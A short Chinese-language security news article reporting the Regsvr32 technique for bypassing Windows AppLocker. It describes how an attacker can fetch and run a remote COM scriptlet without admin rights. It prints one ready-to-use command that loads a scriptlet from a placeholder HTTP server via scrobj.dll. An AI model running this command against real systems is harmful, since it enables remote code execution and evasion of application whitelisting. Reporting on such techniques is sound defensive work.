聪明黑客能够通过利用Regsvr32命令行的一个隐藏特征绕过微软的Windows AppLocker安全功能,而这个隐藏特征通常用来在Windows计算机上注册DLL。
AppLocker是Win 7和Windows Server 2008 R2引入的一个安全功能,能够帮助管理员明确哪些用户或那组用户有访问和运行文件的权限。Regsvr32是一种脚本工具,可被用来快速注册DLL。微软已经撤销这款工具以防止被恶意利用。
安全研究人员Casey Smith表示,驻扎在受感染Windows工作站的攻击者能够利用Regsvr32离线下载一个COM脚本小程序并且将其运行在本地设备上注册一个DLL。攻击者并不需要任何管理员权限,因为Regsvr32具有代理功能,能够跟TLS内容并存,具有重定向功能,而且重要的是,它是微软颁发的证书,这让所有的命令都看起来像正常的Windows后台活动。
以下是一个标准的Regsvr32语句以及一个恶意命令版本:
regsvr32 [/u] [/s] [/n] [/i[:cmdline]]dllname
regsvr32/s /n /u /i:http://server/file.sct scrobj.dll
研究人员表示,regsvr32.exe文档并不好,为了触发这个绕过必须将代码块如VB或JS放在元素之内。研究人员还在GitHub上公布了四个PoC脚本,系统管理员可通过Regsvr32进行加载并且设置后门或者在HTTP上设置逆向shell。
从理论上来讲,这种类型的利用允许黑客访问注册的DLL,甚至以管理员权限在受攻陷的设备上执行恶意代码。

